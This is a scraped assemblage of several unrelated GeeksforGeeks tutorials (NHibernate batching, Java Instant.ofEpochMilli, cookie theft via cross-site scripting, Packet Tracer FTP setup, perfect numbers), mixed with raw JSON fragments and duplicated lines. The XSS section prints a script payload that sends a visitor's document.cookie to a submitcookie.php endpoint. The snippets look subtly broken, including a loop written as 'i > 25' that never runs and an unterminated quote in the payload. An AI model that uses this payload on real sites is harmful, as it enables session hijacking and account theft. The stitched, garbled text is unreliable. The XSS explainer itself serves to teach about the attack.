\n\t\t\t\n using (var tx = session.BeginTransaction()) { \n\t\t\t\t\n for (int i = 0; i > 25; i++) { \n \n var student = new Student { \n FirstName = \"FirstName\"+i.ToString(), \n LastName = \"LastName\" + i.ToString(), \n AcademicStanding = StudentAcademicStanding.Good \n }; \n \n session.Save(student); \n } \n\t\t\t\t\t\n tx.Commit(); \n var students = session.CreateCriteria<Student>().List<Student>();\n Console.WriteLine(\"\\nFetch the complete list again\\n\"); \n \n foreach (var student in students) { \n Console.WriteLine(\"{0} \\t{1} \\t{2} \\t{3}\", student.ID,\n student.FirstName,student.LastName, student.AcademicStanding);\n } \n \n }\n\t\t\t\t\n Console.ReadLine(); \n } \n } \n } \n}"
},
{
"code": null,
"e": 12353,
"s": 12196,
"text": "Now run the application again and have a look at the NHibernate profiler. Now the NHibernate profiler rather than making 26 round trips will make only four."
},
{
"code": null,
"e": 12520,
"s": 12353,
"text": "It's inserted ten rows into the table, then another ten rows, and later the remaining five. And after commit, it has inserted one more for retrieving all the records."
},
{
"code": null,
"e": 12578,
"s": 12520,
"text": "So it's divided it up into groups of ten, as best it can."
},
{
"code": null,
"e": 12636,
"s": 12578,
"text": "So it's divided it up into groups of ten, as best it can."
},
{
"code": null,
"e": 12776,
"s": 12636,
"text": "So if you're doing a lot of inserts, this can dramatically improve the insert performance in your application, because you can batch it up."
},
{
"code": null,
"e": 12916,
"s": 12776,
"text": "So if you're doing a lot of inserts, this can dramatically improve the insert performance in your application, because you can batch it up."
},
{
"code": null,
"e": 13057,
"s": 12916,
"text": "This is because NHibernate assigns those guids itself using the guid.comb algorithm, and it doesn't have to rely on the database to do this."
},
{
"code": null,
"e": 13198,
"s": 13057,
"text": "This is because NHibernate assigns those guids itself using the guid.comb algorithm, and it doesn't have to rely on the database to do this."
},
{
"code": null,
"e": 13249,
"s": 13198,
"text": "So using the batch size is a great way to tune it."
},
{
"code": null,
"e": 13300,
"s": 13249,
"text": "So using the batch size is a great way to tune it."
},
{
"code": null,
"e": 13307,
"s": 13300,
"text": " Print"
},
{
"code": null,
"e": 13318,
"s": 13307,
"text": " Add Notes"
}
] |
Instant ofEpochMilli() method in Java with Examples - GeeksforGeeks
|
28 Nov, 2018
The ofEpochMilli() method of Instant class helps to get an Instant using milliseconds passed as parameter from the epoch of 1970-01-01T00:00:00Z. This returned milliseconds is used to get the different time units like seconds, etc by conversion.
Syntax:
public static Instant
ofEpochMilli(long epochMilli)
Parameters: This method accepts one parameter epochMilli is value of milliseconds from 1970-01-01T00:00:00Z.
Returns: This method returns Instant as the time from the Epoch as milliseconds.
Exception: This method throws DateTimeException if the result exceeds the maximum or minimum instant.
Below programs illustrate the ofEpochMilli() method:
Program 1:
// Java program to demonstrate// Instant.ofEpochMilli() method import java.time.*; public class GFG { public static void main(String[] args) { // create a long variable for milliseconds long milliseconds = 999999000; // get Instant using ofEpochMilli() method Instant instant = Instant.ofEpochMilli(milliseconds); // print result System.out.println("Instant: " + instant); }}
Instant: 1970-01-12T13:46:39Z
Program 2:
// Java program to demonstrate// Instant.ofEpochMilli() method import java.time.*; public class GFG { public static void main(String[] args) { // get Instant using ofEpochMilli() method // passed epoch millisecond is 73264271044L Instant instant = Instant.ofEpochMilli(73264271044L); // print result System.out.println("Instant: " + instant); }}
Instant: 1972-04-27T23:11:11.044Z
References: https://docs.oracle.com/javase/10/docs/api/java/time/Instant.html#ofEpochMilli(long)
Java-Functions
Java-Instant
Java-time package
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Object Oriented Programming (OOPs) Concept in Java
HashMap in Java with Examples
How to iterate any Map in Java
Interfaces in Java
Initialize an ArrayList in Java
ArrayList in Java
Multidimensional Arrays in Java
Stack Class in Java
Singleton Class in Java
LinkedList in Java
|
[
{
"code": null,
"e": 24161,
"s": 24133,
"text": "\n28 Nov, 2018"
},
{
"code": null,
"e": 24407,
"s": 24161,
"text": "The ofEpochMilli() method of Instant class helps to get an Instant using milliseconds passed as parameter from the epoch of 1970-01-01T00:00:00Z. This returned milliseconds is used to get the different time units like seconds, etc by conversion."
},
{
"code": null,
"e": 24415,
"s": 24407,
"text": "Syntax:"
},
{
"code": null,
"e": 24472,
"s": 24415,
"text": "public static Instant \n ofEpochMilli(long epochMilli)"
},
{
"code": null,
"e": 24581,
"s": 24472,
"text": "Parameters: This method accepts one parameter epochMilli is value of milliseconds from 1970-01-01T00:00:00Z."
},
{
"code": null,
"e": 24662,
"s": 24581,
"text": "Returns: This method returns Instant as the time from the Epoch as milliseconds."
},
{
"code": null,
"e": 24764,
"s": 24662,
"text": "Exception: This method throws DateTimeException if the result exceeds the maximum or minimum instant."
},
{
"code": null,
"e": 24817,
"s": 24764,
"text": "Below programs illustrate the ofEpochMilli() method:"
},
{
"code": null,
"e": 24828,
"s": 24817,
"text": "Program 1:"
},
{
"code": "// Java program to demonstrate// Instant.ofEpochMilli() method import java.time.*; public class GFG { public static void main(String[] args) { // create a long variable for milliseconds long milliseconds = 999999000; // get Instant using ofEpochMilli() method Instant instant = Instant.ofEpochMilli(milliseconds); // print result System.out.println(\"Instant: \" + instant); }}",
"e": 25311,
"s": 24828,
"text": null
},
{
"code": null,
"e": 25342,
"s": 25311,
"text": "Instant: 1970-01-12T13:46:39Z\n"
},
{
"code": null,
"e": 25353,
"s": 25342,
"text": "Program 2:"
},
{
"code": "// Java program to demonstrate// Instant.ofEpochMilli() method import java.time.*; public class GFG { public static void main(String[] args) { // get Instant using ofEpochMilli() method // passed epoch millisecond is 73264271044L Instant instant = Instant.ofEpochMilli(73264271044L); // print result System.out.println(\"Instant: \" + instant); }}",
"e": 25786,
"s": 25353,
"text": null
},
{
"code": null,
"e": 25821,
"s": 25786,
"text": "Instant: 1972-04-27T23:11:11.044Z\n"
},
{
"code": null,
"e": 25918,
"s": 25821,
"text": "References: https://docs.oracle.com/javase/10/docs/api/java/time/Instant.html#ofEpochMilli(long)"
},
{
"code": null,
"e": 25933,
"s": 25918,
"text": "Java-Functions"
},
{
"code": null,
"e": 25946,
"s": 25933,
"text": "Java-Instant"
},
{
"code": null,
"e": 25964,
"s": 25946,
"text": "Java-time package"
},
{
"code": null,
"e": 25969,
"s": 25964,
"text": "Java"
},
{
"code": null,
"e": 25974,
"s": 25969,
"text": "Java"
},
{
"code": null,
"e": 26072,
"s": 25974,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26081,
"s": 26072,
"text": "Comments"
},
{
"code": null,
"e": 26094,
"s": 26081,
"text": "Old Comments"
},
{
"code": null,
"e": 26145,
"s": 26094,
"text": "Object Oriented Programming (OOPs) Concept in Java"
},
{
"code": null,
"e": 26175,
"s": 26145,
"text": "HashMap in Java with Examples"
},
{
"code": null,
"e": 26206,
"s": 26175,
"text": "How to iterate any Map in Java"
},
{
"code": null,
"e": 26225,
"s": 26206,
"text": "Interfaces in Java"
},
{
"code": null,
"e": 26257,
"s": 26225,
"text": "Initialize an ArrayList in Java"
},
{
"code": null,
"e": 26275,
"s": 26257,
"text": "ArrayList in Java"
},
{
"code": null,
"e": 26307,
"s": 26275,
"text": "Multidimensional Arrays in Java"
},
{
"code": null,
"e": 26327,
"s": 26307,
"text": "Stack Class in Java"
},
{
"code": null,
"e": 26351,
"s": 26327,
"text": "Singleton Class in Java"
}
] |
Cookie Tracking and Stealing using Cross-Site Scripting - GeeksforGeeks
|
19 Feb, 2019
How are cookies used in a website
A cookie is a randomly generated alphanumeric string which is generated when you visit a webpage and is sent to your browser by that webpage to be kept as a record of your presence on that website so that you can be recognized by that site when you visit it again because of your previous session(known as session ID). But that’s not the only purpose of cookies they are also extensively used to keep a track of your preferences online and they travel from one server to another and can be intercepted and stolen quite easily. This article discusses how cookies move around the web and how they can be stolen.
The Cookie Trail
As stated earlier, when we request a webpage to a server the server contacts that site and renders the webpage to our local machine. While rendering the webpage which is mostly HTML, CSS & some JavaScript along with that it also sends a cookie(1st party cookie) which identifies the session.Besides the website, when we visit a webpage we often see a lot of adverts. These ads are not actually the part of that website but are being supplied from different servers around the world to the website in exchange for money. Whenever we click one of these ads, it sends back a cookie to its respective server and the server stores it to keep a track of our preferences. The servers also communicate with each other and they form an advertising network, sharing your preferences and showing you ads according to those preferences in the future. So you are being tracked and watched by multiple entities online all the time unknowingly. Keeping this in mind the EU Directive passed something known as “The Cookie Law” according to which the site has to ask for your permission to use cookies. This is why you see a message on certain site like “This site uses cookies to enhance user experience......” asking for your permission.
The Cookie Law is a piece of privacy legislation that requires websites to get consent from visitors to store or retrieve any information on a computer, smartphone or tablet. It was designed to protect online privacy, by making consumers aware of how information about them is collected and used online, and give them a choice to allow it or not.
Cookie Theft
Shopping preferences might not classify as sensitive information about an individual but online shopping carts and banking details are really sensitive data and all of this is also remembered by a site with the help of session cookies. If an attacker manages to get a hold of your session cookies then that person will be able to pose as you and that site and will have access to your banking details and your amazon shopping cart and might order stuff from your amazon account to his/her address spending all your money. This generally happens when the site has a vulnerability and the attacker uses something known as cross-site scripting (XSS) to exploit that vulnerability. This is found mostly in badly-coded websites where the developer forgets to include certain security measures to prevent an attacker from running a cross-site script.
How websites use XSS to steal cookies?
I’m going to explain this with a hypothetical scenario. So lets say we visit one such vulnerable site which has a comments section on it. Now on an ideal, secure website a comment section should only have text in plain English but on an unsecure site, if we post a code in the comment section the site would think that it is some code from the server side and it is supposed to run that code.
<script> document.write('<img src="http://localhost/submitcookie.php? cookie =' + escape(document.cookie) + '" />);</script>
This code when posted in the comments section will tick the browser into thinking that it is Javascript code(due to the scripts tags) sent by the server and will make it run it.
When some user visiting the site looks at the comment section he/she will see a link to an image in the comments section which is actually the result of the script running.
When a user clicks on this link thinking that it is an image (whereas it actually is a php file) they get an image rendered in the comment section. What they don’t know is that this link silently executed a php file which grabs their cookie.
Now, the cookie which has that users session ID is saved in the attackers database and the attacker can pose as that user on that site.
Related Article:How are cookies used in a websiteSession Hijacking
References: Computerhile – YouTube channel
This article is contributed by Palash Nigam . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
JavaScript-Misc
secure-coding
GBlog
JavaScript
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
DSA Sheet by Love Babbar
GET and POST requests using Python
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Types of Software Testing
Working with csv files in Python
Remove elements from a JavaScript Array
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
How to calculate the number of days between two dates in javascript?
|
[
{
"code": null,
"e": 25863,
"s": 25835,
"text": "\n19 Feb, 2019"
},
{
"code": null,
"e": 25897,
"s": 25863,
"text": "How are cookies used in a website"
},
{
"code": null,
"e": 26507,
"s": 25897,
"text": "A cookie is a randomly generated alphanumeric string which is generated when you visit a webpage and is sent to your browser by that webpage to be kept as a record of your presence on that website so that you can be recognized by that site when you visit it again because of your previous session(known as session ID). But that’s not the only purpose of cookies they are also extensively used to keep a track of your preferences online and they travel from one server to another and can be intercepted and stolen quite easily. This article discusses how cookies move around the web and how they can be stolen."
},
{
"code": null,
"e": 26524,
"s": 26507,
"text": "The Cookie Trail"
},
{
"code": null,
"e": 27748,
"s": 26524,
"text": "As stated earlier, when we request a webpage to a server the server contacts that site and renders the webpage to our local machine. While rendering the webpage which is mostly HTML, CSS & some JavaScript along with that it also sends a cookie(1st party cookie) which identifies the session.Besides the website, when we visit a webpage we often see a lot of adverts. These ads are not actually the part of that website but are being supplied from different servers around the world to the website in exchange for money. Whenever we click one of these ads, it sends back a cookie to its respective server and the server stores it to keep a track of our preferences. The servers also communicate with each other and they form an advertising network, sharing your preferences and showing you ads according to those preferences in the future. So you are being tracked and watched by multiple entities online all the time unknowingly. Keeping this in mind the EU Directive passed something known as “The Cookie Law” according to which the site has to ask for your permission to use cookies. This is why you see a message on certain site like “This site uses cookies to enhance user experience......” asking for your permission."
},
{
"code": null,
"e": 28095,
"s": 27748,
"text": "The Cookie Law is a piece of privacy legislation that requires websites to get consent from visitors to store or retrieve any information on a computer, smartphone or tablet. It was designed to protect online privacy, by making consumers aware of how information about them is collected and used online, and give them a choice to allow it or not."
},
{
"code": null,
"e": 28108,
"s": 28095,
"text": "Cookie Theft"
},
{
"code": null,
"e": 28953,
"s": 28108,
"text": "Shopping preferences might not classify as sensitive information about an individual but online shopping carts and banking details are really sensitive data and all of this is also remembered by a site with the help of session cookies. If an attacker manages to get a hold of your session cookies then that person will be able to pose as you and that site and will have access to your banking details and your amazon shopping cart and might order stuff from your amazon account to his/her address spending all your money. This generally happens when the site has a vulnerability and the attacker uses something known as cross-site scripting (XSS) to exploit that vulnerability. This is found mostly in badly-coded websites where the developer forgets to include certain security measures to prevent an attacker from running a cross-site script."
},
{
"code": null,
"e": 28992,
"s": 28953,
"text": "How websites use XSS to steal cookies?"
},
{
"code": null,
"e": 29385,
"s": 28992,
"text": "I’m going to explain this with a hypothetical scenario. So lets say we visit one such vulnerable site which has a comments section on it. Now on an ideal, secure website a comment section should only have text in plain English but on an unsecure site, if we post a code in the comment section the site would think that it is some code from the server side and it is supposed to run that code."
},
{
"code": " <script> document.write('<img src=\"http://localhost/submitcookie.php? cookie =' + escape(document.cookie) + '\" />);</script>",
"e": 29524,
"s": 29385,
"text": null
},
{
"code": null,
"e": 29702,
"s": 29524,
"text": "This code when posted in the comments section will tick the browser into thinking that it is Javascript code(due to the scripts tags) sent by the server and will make it run it."
},
{
"code": null,
"e": 29875,
"s": 29702,
"text": "When some user visiting the site looks at the comment section he/she will see a link to an image in the comments section which is actually the result of the script running."
},
{
"code": null,
"e": 30117,
"s": 29875,
"text": "When a user clicks on this link thinking that it is an image (whereas it actually is a php file) they get an image rendered in the comment section. What they don’t know is that this link silently executed a php file which grabs their cookie."
},
{
"code": null,
"e": 30253,
"s": 30117,
"text": "Now, the cookie which has that users session ID is saved in the attackers database and the attacker can pose as that user on that site."
},
{
"code": null,
"e": 30320,
"s": 30253,
"text": "Related Article:How are cookies used in a websiteSession Hijacking"
},
{
"code": null,
"e": 30363,
"s": 30320,
"text": "References: Computerhile – YouTube channel"
},
{
"code": null,
"e": 30664,
"s": 30363,
"text": "This article is contributed by Palash Nigam . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks."
},
{
"code": null,
"e": 30789,
"s": 30664,
"text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above."
},
{
"code": null,
"e": 30805,
"s": 30789,
"text": "JavaScript-Misc"
},
{
"code": null,
"e": 30819,
"s": 30805,
"text": "secure-coding"
},
{
"code": null,
"e": 30825,
"s": 30819,
"text": "GBlog"
},
{
"code": null,
"e": 30836,
"s": 30825,
"text": "JavaScript"
},
{
"code": null,
"e": 30934,
"s": 30836,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30959,
"s": 30934,
"text": "DSA Sheet by Love Babbar"
},
{
"code": null,
"e": 30994,
"s": 30959,
"text": "GET and POST requests using Python"
},
{
"code": null,
"e": 31056,
"s": 30994,
"text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills"
},
{
"code": null,
"e": 31082,
"s": 31056,
"text": "Types of Software Testing"
},
{
"code": null,
"e": 31115,
"s": 31082,
"text": "Working with csv files in Python"
},
{
"code": null,
"e": 31155,
"s": 31115,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 31200,
"s": 31155,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 31261,
"s": 31200,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 31333,
"s": 31261,
"text": "Differences between Functional Components and Class Components in React"
}
] |
File transfer protocol server configuration using cisco packet tracer - GeeksforGeeks
|
02 Nov, 2021
In this article we are going to design a file transfer protocol server configuration in cisco packet tracer and checking the connectivity for uploading and downloading the file from remote PC.
Objectives:
To Configure FTP Services on Server.
To Upload a File into the FTP Server from Remote PC.
To Download a File from the FTP Server from Remote PC.
Step-1: (Configuring Router0):
Select a 2911 Router from Network Devices and drag and drop to the workspace.Select Router0 and Go to Config.Configure the GigabitEthernet0/0 by assigning IP address as 192.168.1.1 and subnet mask as 255.255.255.0 and turn on the port statusConfigure the GigabitEthernet0/1 by assigning IP address as 10.0.0.1 and subnet mask as 255.0.0.0 and turn on the port status.
Select a 2911 Router from Network Devices and drag and drop to the workspace.
Select Router0 and Go to Config.
Configure the GigabitEthernet0/0 by assigning IP address as 192.168.1.1 and subnet mask as 255.255.255.0 and turn on the port status
Configure the GigabitEthernet0/1 by assigning IP address as 10.0.0.1 and subnet mask as 255.0.0.0 and turn on the port status.
Router0 Command Line Interface:
Router>enable
Router#
Router#configure terminal
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#interface GigabitEthernet0/0
Router(config-if)#ip address 192.168.1.1 255.255.255.0
Router(config-if)#exit
Router(config)#interface GigabitEthernet0/1
Router(config-if)#ip address 10.0.0.1 255.0.0.0
Router(config-if)#shutdown
Router(config-if)#
%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/0, changed state to up
%LINK-5-CHANGED: Interface GigabitEthernet0/1, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/1, changed state to up
Step-2: (Configuring PCs):
Select two PC-PT type PCs from End devices and drag and drop to the workspace.Select PC0 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC0 as 192.168.1.2, 255.255.255.0Select PC1 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC1 as 192.168.1.3, 255.255.255.0For both the PCs (PC0, PC1) go to Global settings in config and Assign default gateway as 192.168.1.1
Select two PC-PT type PCs from End devices and drag and drop to the workspace.
Select PC0 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC0 as 192.168.1.2, 255.255.255.0
Select PC1 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC1 as 192.168.1.3, 255.255.255.0
For both the PCs (PC0, PC1) go to Global settings in config and Assign default gateway as 192.168.1.1
Step-3: (Configuring Server0):
Select a server from End devices and drag and drop to the workspace.Go to the global settings in config and assign default gateway as 10.0.0.1Go to FastEthernet0 and assign IP address and subnet mask as 10.0.0.2, 255.0.0.0Go to services and open FTP Service.Go to user setup and create a username and password.Select all the permissions (Write, Read, Delete, Rename, List) and add the user.
Select a server from End devices and drag and drop to the workspace.
Go to the global settings in config and assign default gateway as 10.0.0.1
Go to FastEthernet0 and assign IP address and subnet mask as 10.0.0.2, 255.0.0.0
Go to services and open FTP Service.
Go to user setup and create a username and password.
Select all the permissions (Write, Read, Delete, Rename, List) and add the user.
User setup:
Step-4: (Configuring Switch and Making connections):
Select a 2950-24 Switch from the network devices and drag and drop to the workspace.Connect FastEthernet0 port of PC0 to the FastEthernet0/1 port of switch0 using Copper Straight-Through cable.Connect FastEthernet0 port of PC1 to the FastEthernet0/2 port of switch0 using Copper Straight-Through cable.Connect FastEthernet0/3 port of switch0 to the GigabitEthernet0/0 of Router0 using Copper Straight-Through cable.Connect GigabitEthernet0/1 port of Router0 to the FastEtherner0 of server0 using Copper Straight-Through cable.
Select a 2950-24 Switch from the network devices and drag and drop to the workspace.
Connect FastEthernet0 port of PC0 to the FastEthernet0/1 port of switch0 using Copper Straight-Through cable.
Connect FastEthernet0 port of PC1 to the FastEthernet0/2 port of switch0 using Copper Straight-Through cable.
Connect FastEthernet0/3 port of switch0 to the GigabitEthernet0/0 of Router0 using Copper Straight-Through cable.
Connect GigabitEthernet0/1 port of Router0 to the FastEtherner0 of server0 using Copper Straight-Through cable.
Router Configuration Table:
PC Configuration Table:
Checking connections from PC0 to the other hosts in the network using ping Command in Command Prompt.
Checking connections from PC0 to the other hosts in the network using ping Command in Command Prompt.
Creating a file named 2.txt for writing(uploading) into FTP Server.
Writing(uploading) the file named 2.txt into FTP Server from PC0 using put 2.txt command and verifying this file transfer using dir command.
Reading(Downloading) the file named 2.txt present in FTP Server from PC1 using get 2.txt command and verifying this file transfer using dir command.
Computer Networks
Computer Networks
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Advanced Encryption Standard (AES)
Intrusion Detection System (IDS)
Introduction and IPv4 Datagram Header
Secure Socket Layer (SSL)
Cryptography and its Types
Multiple Access Protocols in Computer Network
Congestion Control in Computer Networks
Routing Information Protocol (RIP)
Architecture of Internet of Things (IoT)
Block Cipher modes of Operation
|
[
{
"code": null,
"e": 25781,
"s": 25753,
"text": "\n02 Nov, 2021"
},
{
"code": null,
"e": 25974,
"s": 25781,
"text": "In this article we are going to design a file transfer protocol server configuration in cisco packet tracer and checking the connectivity for uploading and downloading the file from remote PC."
},
{
"code": null,
"e": 25986,
"s": 25974,
"text": "Objectives:"
},
{
"code": null,
"e": 26023,
"s": 25986,
"text": "To Configure FTP Services on Server."
},
{
"code": null,
"e": 26076,
"s": 26023,
"text": "To Upload a File into the FTP Server from Remote PC."
},
{
"code": null,
"e": 26131,
"s": 26076,
"text": "To Download a File from the FTP Server from Remote PC."
},
{
"code": null,
"e": 26162,
"s": 26131,
"text": "Step-1: (Configuring Router0):"
},
{
"code": null,
"e": 26530,
"s": 26162,
"text": "Select a 2911 Router from Network Devices and drag and drop to the workspace.Select Router0 and Go to Config.Configure the GigabitEthernet0/0 by assigning IP address as 192.168.1.1 and subnet mask as 255.255.255.0 and turn on the port statusConfigure the GigabitEthernet0/1 by assigning IP address as 10.0.0.1 and subnet mask as 255.0.0.0 and turn on the port status."
},
{
"code": null,
"e": 26608,
"s": 26530,
"text": "Select a 2911 Router from Network Devices and drag and drop to the workspace."
},
{
"code": null,
"e": 26641,
"s": 26608,
"text": "Select Router0 and Go to Config."
},
{
"code": null,
"e": 26774,
"s": 26641,
"text": "Configure the GigabitEthernet0/0 by assigning IP address as 192.168.1.1 and subnet mask as 255.255.255.0 and turn on the port status"
},
{
"code": null,
"e": 26901,
"s": 26774,
"text": "Configure the GigabitEthernet0/1 by assigning IP address as 10.0.0.1 and subnet mask as 255.0.0.0 and turn on the port status."
},
{
"code": null,
"e": 26933,
"s": 26901,
"text": "Router0 Command Line Interface:"
},
{
"code": null,
"e": 27545,
"s": 26933,
"text": "Router>enable\nRouter#\nRouter#configure terminal\nEnter configuration commands, one per line. End with CNTL/Z.\nRouter(config)#interface GigabitEthernet0/0\nRouter(config-if)#ip address 192.168.1.1 255.255.255.0\nRouter(config-if)#exit\nRouter(config)#interface GigabitEthernet0/1\nRouter(config-if)#ip address 10.0.0.1 255.0.0.0\nRouter(config-if)#shutdown\nRouter(config-if)#\n%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/0, changed state to up\n%LINK-5-CHANGED: Interface GigabitEthernet0/1, changed state to up\n%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/1, changed state to up"
},
{
"code": null,
"e": 27572,
"s": 27545,
"text": "Step-2: (Configuring PCs):"
},
{
"code": null,
"e": 28000,
"s": 27572,
"text": "Select two PC-PT type PCs from End devices and drag and drop to the workspace.Select PC0 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC0 as 192.168.1.2, 255.255.255.0Select PC1 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC1 as 192.168.1.3, 255.255.255.0For both the PCs (PC0, PC1) go to Global settings in config and Assign default gateway as 192.168.1.1"
},
{
"code": null,
"e": 28079,
"s": 28000,
"text": "Select two PC-PT type PCs from End devices and drag and drop to the workspace."
},
{
"code": null,
"e": 28204,
"s": 28079,
"text": "Select PC0 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC0 as 192.168.1.2, 255.255.255.0"
},
{
"code": null,
"e": 28329,
"s": 28204,
"text": "Select PC1 and go to FastEthernet0 in config and assign IP address and subnet mask for the PC1 as 192.168.1.3, 255.255.255.0"
},
{
"code": null,
"e": 28431,
"s": 28329,
"text": "For both the PCs (PC0, PC1) go to Global settings in config and Assign default gateway as 192.168.1.1"
},
{
"code": null,
"e": 28462,
"s": 28431,
"text": "Step-3: (Configuring Server0):"
},
{
"code": null,
"e": 28853,
"s": 28462,
"text": "Select a server from End devices and drag and drop to the workspace.Go to the global settings in config and assign default gateway as 10.0.0.1Go to FastEthernet0 and assign IP address and subnet mask as 10.0.0.2, 255.0.0.0Go to services and open FTP Service.Go to user setup and create a username and password.Select all the permissions (Write, Read, Delete, Rename, List) and add the user."
},
{
"code": null,
"e": 28922,
"s": 28853,
"text": "Select a server from End devices and drag and drop to the workspace."
},
{
"code": null,
"e": 28997,
"s": 28922,
"text": "Go to the global settings in config and assign default gateway as 10.0.0.1"
},
{
"code": null,
"e": 29078,
"s": 28997,
"text": "Go to FastEthernet0 and assign IP address and subnet mask as 10.0.0.2, 255.0.0.0"
},
{
"code": null,
"e": 29115,
"s": 29078,
"text": "Go to services and open FTP Service."
},
{
"code": null,
"e": 29168,
"s": 29115,
"text": "Go to user setup and create a username and password."
},
{
"code": null,
"e": 29249,
"s": 29168,
"text": "Select all the permissions (Write, Read, Delete, Rename, List) and add the user."
},
{
"code": null,
"e": 29261,
"s": 29249,
"text": "User setup:"
},
{
"code": null,
"e": 29314,
"s": 29261,
"text": "Step-4: (Configuring Switch and Making connections):"
},
{
"code": null,
"e": 29841,
"s": 29314,
"text": "Select a 2950-24 Switch from the network devices and drag and drop to the workspace.Connect FastEthernet0 port of PC0 to the FastEthernet0/1 port of switch0 using Copper Straight-Through cable.Connect FastEthernet0 port of PC1 to the FastEthernet0/2 port of switch0 using Copper Straight-Through cable.Connect FastEthernet0/3 port of switch0 to the GigabitEthernet0/0 of Router0 using Copper Straight-Through cable.Connect GigabitEthernet0/1 port of Router0 to the FastEtherner0 of server0 using Copper Straight-Through cable."
},
{
"code": null,
"e": 29926,
"s": 29841,
"text": "Select a 2950-24 Switch from the network devices and drag and drop to the workspace."
},
{
"code": null,
"e": 30036,
"s": 29926,
"text": "Connect FastEthernet0 port of PC0 to the FastEthernet0/1 port of switch0 using Copper Straight-Through cable."
},
{
"code": null,
"e": 30146,
"s": 30036,
"text": "Connect FastEthernet0 port of PC1 to the FastEthernet0/2 port of switch0 using Copper Straight-Through cable."
},
{
"code": null,
"e": 30260,
"s": 30146,
"text": "Connect FastEthernet0/3 port of switch0 to the GigabitEthernet0/0 of Router0 using Copper Straight-Through cable."
},
{
"code": null,
"e": 30372,
"s": 30260,
"text": "Connect GigabitEthernet0/1 port of Router0 to the FastEtherner0 of server0 using Copper Straight-Through cable."
},
{
"code": null,
"e": 30400,
"s": 30372,
"text": "Router Configuration Table:"
},
{
"code": null,
"e": 30424,
"s": 30400,
"text": "PC Configuration Table:"
},
{
"code": null,
"e": 30526,
"s": 30424,
"text": "Checking connections from PC0 to the other hosts in the network using ping Command in Command Prompt."
},
{
"code": null,
"e": 30628,
"s": 30526,
"text": "Checking connections from PC0 to the other hosts in the network using ping Command in Command Prompt."
},
{
"code": null,
"e": 30696,
"s": 30628,
"text": "Creating a file named 2.txt for writing(uploading) into FTP Server."
},
{
"code": null,
"e": 30837,
"s": 30696,
"text": "Writing(uploading) the file named 2.txt into FTP Server from PC0 using put 2.txt command and verifying this file transfer using dir command."
},
{
"code": null,
"e": 30986,
"s": 30837,
"text": "Reading(Downloading) the file named 2.txt present in FTP Server from PC1 using get 2.txt command and verifying this file transfer using dir command."
},
{
"code": null,
"e": 31004,
"s": 30986,
"text": "Computer Networks"
},
{
"code": null,
"e": 31022,
"s": 31004,
"text": "Computer Networks"
},
{
"code": null,
"e": 31120,
"s": 31022,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 31155,
"s": 31120,
"text": "Advanced Encryption Standard (AES)"
},
{
"code": null,
"e": 31188,
"s": 31155,
"text": "Intrusion Detection System (IDS)"
},
{
"code": null,
"e": 31226,
"s": 31188,
"text": "Introduction and IPv4 Datagram Header"
},
{
"code": null,
"e": 31252,
"s": 31226,
"text": "Secure Socket Layer (SSL)"
},
{
"code": null,
"e": 31279,
"s": 31252,
"text": "Cryptography and its Types"
},
{
"code": null,
"e": 31325,
"s": 31279,
"text": "Multiple Access Protocols in Computer Network"
},
{
"code": null,
"e": 31365,
"s": 31325,
"text": "Congestion Control in Computer Networks"
},
{
"code": null,
"e": 31400,
"s": 31365,
"text": "Routing Information Protocol (RIP)"
},
{
"code": null,
"e": 31441,
"s": 31400,
"text": "Architecture of Internet of Things (IoT)"
}
] |
Sum of all perfect numbers present in an array - GeeksforGeeks
|
26 Apr, 2021
Given an array arr[] containing N positive integer. The task is to find the sum of all the perfect numbers from the array. A number is perfect if is equal to the sum of its proper divisors i.e. the sum of its positive divisors excluding the number itself.
Examples:
Input: arr[] = {3, 6, 9} Output: 6Proper divisor sum of 3 = 1 Proper divisor sum of 6 = 1 + 2 + 3 = 6 Proper divisor sum of 9 = 1 + 3 = 4Input: arr[] = {17, 6, 10, 6, 4} Output: 12
Approach: Initialize sum = 0 and for every element of the array, find the sum of its proper divisors say sumFactors. If arr[i] = sumFactors then update the resultant sum as sum = sum + arr[i]. Print the sum in the end.
Below is the implementation of the above approach:
C++
Java
Python3
C#
Javascript
